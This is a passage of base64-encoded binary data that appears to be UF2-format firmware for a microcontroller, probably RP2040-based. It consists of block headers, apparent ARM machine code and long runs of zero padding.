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
EBwTACBwtQUAEDUEACgAAPBq/j8oEtkAIOF4//en+wAoDNAoAADwX/7heD8oB9mWI5sA4hgAIEAj
//fy+3C9ACD/98j7+ucAABC1BAD/91j6ACgB0QAgEL3/91r6ACj50bYgASOAAERDAkgAGQB5GEDx
58BGCA8AILYjmwBYQxC1AksQMMAYAPAW/hC9CA8AIHC1tiSkAERDIAAGThAwkrKAGQDwSf4FAKAZ
//er/ygAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADBv
sQpVRjIKV1FdngAgAAAAcAAQAAEAAHAAAAADAQAAVv+L5HC9wEYIDwAgtiObAFhDELUCSxAwwBgA
8Dz+EL0IDwAg97UEAP/3FPoAKAHRACD+vf/3FvoFHvnRtiCAAERDJgAUTyw29hkwAADw3f0AKO3Q
OxkoAJl4AZP/9zD7ACjl0KYjmwDkGOcZOQBAIjAAAPAL/gGbBACZeAAoCNADADoAKAD/93X7ACjQ
0CAAz+f/90n7+ucIDwAgcLW2JKQAREMJSyw05BgFAJKyIAAA8DX+BgAgAADwp/0/KALZKAD/96//
MABwvcBGCA8AILYjmwBYQxC1AkssMMAYAPCs/RC9CA8AIPe1tiIVTAAhIACSAP/3tPj/I2NxEkuA
JwAmASUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMG+x
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
